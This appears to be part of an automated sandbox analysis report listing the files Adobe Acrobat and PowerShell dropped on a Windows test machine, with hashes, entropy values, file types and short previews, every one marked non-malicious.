SSDEEP:	6:YEQXJ2HXphFh7le7UXjb24kF0YFWVKoAvJfzdPeUkwRe9:YvXKXph/Q7UTbdsWbGb8Ukee9
MD5:	DF172ECFA97D447B0EC167B30B654DA0
SHA1:	7B2E59BA64E6288DF58F3E0AF6D794801A415EDC
SHA-256:	E49703E64C0D533685EDC165346F6FB617B51144DF2E0F5926D1D9D6E10307B4
SHA-512:	74FB5886DE99E17318820E549BCE76311EC229448FFDCB0AE3C04A4B4B1989F42D0D9F28C1F8ABD24DB7741B7F3BBF531C2015053A97293C1FFB9B6E6AAB9A5C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"709454ca-61e4-41f1-845b-15202cae92ac","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736711801348,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.253663534620179
Encrypted:	false
SSDEEP:	6:YEQXJ2HXphFh7le7UXjb24kF0YFWVKoAvJfYdPeUkwRe9:YvXKXph/Q7UTbdsWbGg8Ukee9
MD5:	D8685B4A453B340FD69EB79C6168DAFE
SHA1:	141D978122D3CA5BFD0D8AD1AF57C3E3F15F966B
SHA-256:	F09B2215CF13C8B35A6E4E9399F133966EBFF3DBC57C7E79BBE4A9B1EE71247C
SHA-512:	C3A0C51C99455597E2FADD3D12BB365634FFEE659585B1416CB62A8C9F320532DB054F6D839046B26234A2BBFB1D53ED3B176AF02436E6841B9612E767A1C07F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"709454ca-61e4-41f1-845b-15202cae92ac","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736711801348,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2391971155295
Encrypted:	false
SSDEEP:	6:YEQXJ2HXphFh7le7UXjb24kF0YFWVKoAvJf+dPeUkwRe9:YvXKXph/Q7UTbdsWbG28Ukee9
MD5:	DF0A248A55AD37FAC0065EA9CB7F07D5
SHA1:	0B10B07B83CDB104FCF89AC6CA73C3CE2A1BD9C8
SHA-256:	D077A8DB98F383889AA34CA971C3F80DBB8469D4E4031F196A9E11454BA10D68
SHA-512:	CA85DEACC1154A657FB8678C9CE5F77CAFB0823CAE7C64B6E8B77ECF53F32201407FD1F0E047290DC142216B58A054CD97342F53810C13EAA0273EF480D262E1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"709454ca-61e4-41f1-845b-15202cae92ac","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736711801348,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2375290959736285
Encrypted:	false
SSDEEP:	6:YEQXJ2HXphFh7le7UXjb24kF0YFWVKoAvJfbPtdPeUkwRe9:YvXKXph/Q7UTbdsWbGDV8Ukee9
MD5:	D3D4DF25C64E281B0655286BDA47D97F
SHA1:	163E1203E1483EF52E346E217B7458A161BDD2D9
SHA-256:	B2B47E64A1C0EA3039DB9044AA5D82BE68A93B0345ADDAA96DB365BFA346DDD9
SHA-512:	2D796F1D39F5B70781F18262C60426F53C342CDB424628E4DBB0A3DDA238823AAD57F56B0F6A2C1E0B21F93491723BDDCCFCC80B7F510BD204EE5DFE4D9CBFC5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"709454ca-61e4-41f1-845b-15202cae92ac","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736711801348,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.240564915996783
Encrypted:	false
SSDEEP:	6:YEQXJ2HXphFh7le7UXjb24kF0YFWVKoAvJf21rPeUkwRe9:YvXKXph/Q7UTbdsWbG+16Ukee9
MD5:	D36A2CE6A289FD2BF1FFA0365E17CA78
SHA1:	31ABFAFBB909D87B90DB7C07E37691F8A4245A9F
SHA-256:	4D8045FC57B8C621B09AFE5F91ECE2451F2BFBD41105D6CBB48FF7C151D7E6D9
SHA-512:	D9C3EB5DD8EBEF587D2C26FB067D1A4678F98D387180D4B9358CBF84ECCE4A832DA7814FF996EF3DFE5963F2523286A122F9EC18541A8BB1B62420EF3101D87C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"709454ca-61e4-41f1-845b-15202cae92ac","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736711801348,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6586367516751235
Encrypted:	false
SSDEEP:	24:Yv6XPQ7UXZ0amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS+Y:Yv5wZyBgkDMUJUAh8cvMn
MD5:	74333EEEC47813407ACA974C6C0BFC1D
SHA1:	FF27D5A6FC9FA993A1ACFD2FA5D87DC8CBF20143
SHA-256:	1D6DEBA7658B1F1F4377DA1DAF76CB0CFFAB81783285A56BE30FD920FF9A9539
SHA-512:	F97101F7597F63A941DA1B5A8015495B8E288C1E22E9F9CF4ADD378084FF14250826D22AA44AEB63EEEA0F962A45CC62DC339314A3AC56360AA95FAD17AF4C7F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"709454ca-61e4-41f1-845b-15202cae92ac","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736711801348,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.218033097551749
Encrypted:	false
SSDEEP:	6:YEQXJ2HXphFh7le7UXjb24kF0YFWVKoAvJfshHHrPeUkwRe9:YvXKXph/Q7UTbdsWbGUUUkee9
MD5:	4C8F94C7A1EA11A073A4A0CED4132F97
SHA1:	540265BC0B3A6ABAAC462C3D9FF1AB321B25B8A2
SHA-256:	E6D1D45F0BD7A2C6D78BFCF1E97142E2078399145301B71BCE11F9BF92F41542
SHA-512:	70D035EC62F86FF6B5CA9E681431B1539AA6717FC43C9B9F9DB8AFE0285B338C80F877C15A6B04792793BE376AE2DDF09857211E4063D42A843F00FF52FF474B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"709454ca-61e4-41f1-845b-15202cae92ac","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736711801348,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.225580651863435
Encrypted:	false
SSDEEP:	6:YEQXJ2HXphFh7le7UXjb24kF0YFWVKoAvJTqgFCrPeUkwRe9:YvXKXph/Q7UTbdsWbGTq16Ukee9
MD5:	AA29740C087F0B4A361D007B975BE2DC
SHA1:	8CA8F6463BAE20855180F81E12547C7A61A06893
SHA-256:	D4AF077A2BF0A40365D10A9AE233D9782DFB07252260B8FBF158A52986E44441
SHA-512:	999FEBCE54C748849219D0B06F1C981ADBBB8460A816B7D672EAEE4AA7944CE8C5DA0E3DFB0D358384364BF70C3B823DA347013620A2484EA04FA0FF69708A32
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"709454ca-61e4-41f1-845b-15202cae92ac","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736711801348,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1400618626353705
Encrypted:	false
SSDEEP:	24:YDaDlZcaybFkshjPKhMo/wcB8mUlebjIj0SZS52i2LS7C1WqN+0jk6539GBJuzOG:Y8rc7jihRYcKkrhmWqN559p
MD5:	0ECB4304903B137D919932BC01D4B3BB
SHA1:	E7D0EDC623D9DFD5B4330A4D61F8EE2139B99C1D
SHA-256:	CA947393BFC8D1652347C9535BD738181F069D490115FD6F5AA5079FF8F869C2
SHA-512:	C167D1057F50472CA3E9379C5422235FD275160D969DB78B962ECB60724A411D024B2082050560DCA65A454BBE051D5AFD2ED3E8928243C2AA6944310DF8D1C5
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a7ba7926ff3018961786953b5493d728","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736534995000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"da639039dcb6e892fae47fb70d37d9cd","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736534995000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"5cf37527565d1674bc0ffecf59764fc2","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736534995000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"593b82da0e8a8e24a51ca27f006ddd00","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736534995000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"aee8ea3df3dec10971a99dc6f71ef382","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736534995000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"78186f46966cb6f95cbb6a939867567c","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3202149473989182
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y/7N+EXSqX+:TGufl2GL7msUKB0M0+Tb608YTIrbn
MD5:	2B763DC58233A53554A8273AAA4BE0B9
SHA1:	316A39E54EE8249AA403D510DB28BD98C4346DD2
SHA-256:	AAE1744683CCAB827308B6EDDC7298C57C04B9BBB083A547C9105F6E851CE848
SHA-512:	03F657E5A0031725E485960779110EF108AE83F3970349AD09520E9704C2CA865AFACA611F4BA92ECDA4DE38AEF3A10380E235248E0C18B27C6EF9F76FE6D3EF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7814925019624985
Encrypted:	false
SSDEEP:	48:7MS8KB0M0+Tb608YTFrGKmRqFl2GL7msM:7NFb608YT72KVmsM
MD5:	08077BFEAA719F70E35B4BB654B7DCAA
SHA1:	0FFBAB4B07BA266FE0F174736AB38E08D905CAF1
SHA-256:	939BA9B86C1E17E49A3EAD8217C69D9D8261EE3F0C8DB1016E51E1ED35F4259A
SHA-512:	7474739A001934ADB8F6F524F364CBBA386D571DE10BB2C58D854499A9D8796A3CCB47EF535FDC3BC81FA52F79127FFA66AF586E4FCFBB0937B6EF85ABC32919
Malicious:	false
Preview:	.... .c.....D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgbKCt/sHz56S/nlwLtvcv8XLAoYyu:6a6TZ44ADEbKJ56S/nlmtvfK
MD5:	A4CB7D5568B31EE014940BB762CC3597
SHA1:	700FEED82ED0CEDAF0568783F497C93E518F065D
SHA-256:	957902969ADF38F6A53E57FAE207530E45FCDBBDCA42DEC3F2A42CC2FBE4E547
SHA-512:	5AF928C6F70D04AD753D58B1EDDE98B4B4FC1A928D3E72F221747933899F8157C29F58DF4DF7D6DB6047CDA6D834D359D0C40C77CC0C8AF2AC83F3CE30C55C5B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIf01c2.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErfCH:Qw946cPbiOxDlbYnuRK+bDrfCH
MD5:	580AA5C0DE3058B8627EA2C63207085A
SHA1:	B853AD67497B0EC513B1AA5762B3303C75EA0A5C
SHA-256:	F5985231C12EF3521D1B238291868347DF3C909F222ED9D4E94DB98126393999
SHA-512:	AA8A8C5FE507FEF6EACD3B1BDCAC9CCD41D581EC4F6A6E554EB6AB720B7400B9945664EBF76001CC94F656606660F46DB8C56D909B0C33CC53D05095145D418B
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.4.9.:.5.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v54o0e2o.fat.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zd33hmuh.p5e.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-49-46-792.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.361909234765534
Encrypted:	false
SSDEEP:	384:bcSJKxSrpa/6ibIWgAG70WjtR6zvqaujP48SgsiZvmvgWo+EyH6SazazidrxQnnx:7a5
MD5:	EB41F9F8F9ED45A88B71F6BC92C99FF4
SHA1:	5F42AAB97EEFDDA32A67BBA46AA5D95B9AF6278F
SHA-256:	AB0F43E44D4081DC4A8700CE69B1C284BC0FF376D9AD475F9F4CD31AA79CB62D
SHA-512:	FF43E057858230FF06AF181B5A2E37624FD92D07634AEF1F64066A0F50D350247DD2FB22DA055CEBCE4B6030414D1322A5A591A225F0043528E92D4F8F79DDD7
Malicious:	false
Preview:	SessionID=eb56b2e6-304b-470a-a9d6-bce87c39ba3c.1736534986824 Timestamp=2025-01-10T13:49:46:824-0500 ThreadID=8664 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=eb56b2e6-304b-470a-a9d6-bce87c39ba3c.1736534986824 Timestamp=2025-01-10T13:49:46:826-0500 ThreadID=8664 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=eb56b2e6-304b-470a-a9d6-bce87c39ba3c.1736534986824 Timestamp=2025-01-10T13:49:46:826-0500 ThreadID=8664 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=eb56b2e6-304b-470a-a9d6-bce87c39ba3c.1736534986824 Timestamp=2025-01-10T13:49:46:826-0500 ThreadID=8664 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=eb56b2e6-304b-470a-a9d6-bce87c39ba3c.1736534986824 Timestamp=2025-01-10T13:49:46:826-0500 ThreadID=8664 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.408534134638015
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3ZmE:EGvIcNYdcsDipDZa
MD5:	FBD70E88E4893F2453473A8C715D7A31
SHA1:	507057D09720A39EB1B980C91343ADD0A166B2B4
SHA-256:	D3C8D172C760909C3923EECC14F0AC548819930FB8D9418E0F6CE4E13B9EFCFB
SHA-512:	BB1A16087BB589D846101AE1ED79CCDDAF149BD8F57E4EBA2E9DF544E985D9EFBA9B556C2D03C04723CB84FEBF52103D78310C38D9D7B98AC35636C1BD4FBCDB
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1881fb6a-45e0-4f17-8f9d-70f6575fe2a8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
